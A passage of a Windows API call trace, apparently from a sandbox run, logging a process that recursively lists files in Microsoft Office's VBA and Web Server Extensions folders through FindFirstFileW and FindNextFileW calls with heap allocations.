ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.379] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5088, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0234.380] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5088, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0 [0234.380] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0234.380] GetProcessHeap () returned 0xc10000 [0234.380] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0234.380] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0234.380] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0 [0234.380] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0234.381] GetProcessHeap () returned 0xc10000 [0234.381] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0234.381] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0234.381] GetProcessHeap () returned 0xc10000 [0234.381] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0234.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0234.383] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.383] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 1 [0234.383] GetProcessHeap () returned 0xc10000 [0234.383] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0234.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0234.384] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.384] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 1 [0234.384] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba88, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 0 [0234.384] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0234.384] GetProcessHeap () returned 0xc10000 [0234.384] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0234.384] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA7.1", cAlternateFileName="")) returned 1 [0234.385] GetProcessHeap () returned 0xc10000 [0234.385] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0234.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0234.386] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.386] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0234.386] GetProcessHeap () returned 0xc10000 [0234.386] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0234.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0234.389] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.389] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f982, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0234.389] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9b50c1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9b50c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9b50c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0234.389] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0234.389] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0234.389] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe230b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0234.389] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca4da68, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca4da68, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca4da68, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0234.390] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9db30a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9db30a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0234.390] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc9db30a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc9db30a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xca27806, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0234.390] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0234.391] GetProcessHeap () returned 0xc10000 [0234.391] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0234.391] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0234.391] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0234.391] GetProcessHeap () returned 0xc10000 [0234.391] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0234.391] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VBA7.1", cAlternateFileName="")) returned 0 [0234.391] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0234.392] GetProcessHeap () returned 0xc10000 [0234.392] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0234.392] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0234.392] GetProcessHeap () returned 0xc10000 [0234.392] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0234.392] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0234.394] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.394] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0234.394] GetProcessHeap () returned 0xc10000 [0234.394] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0234.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0234.394] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.394] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0234.395] GetProcessHeap () returned 0xc10000 [0234.395] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0234.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0234.395] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.395] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd7bf89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1850c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0234.395] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d678, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0234.395] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d678, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0234.395] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0234.396] GetProcessHeap () returned 0xc10000 [0234.396] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0234.396] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, 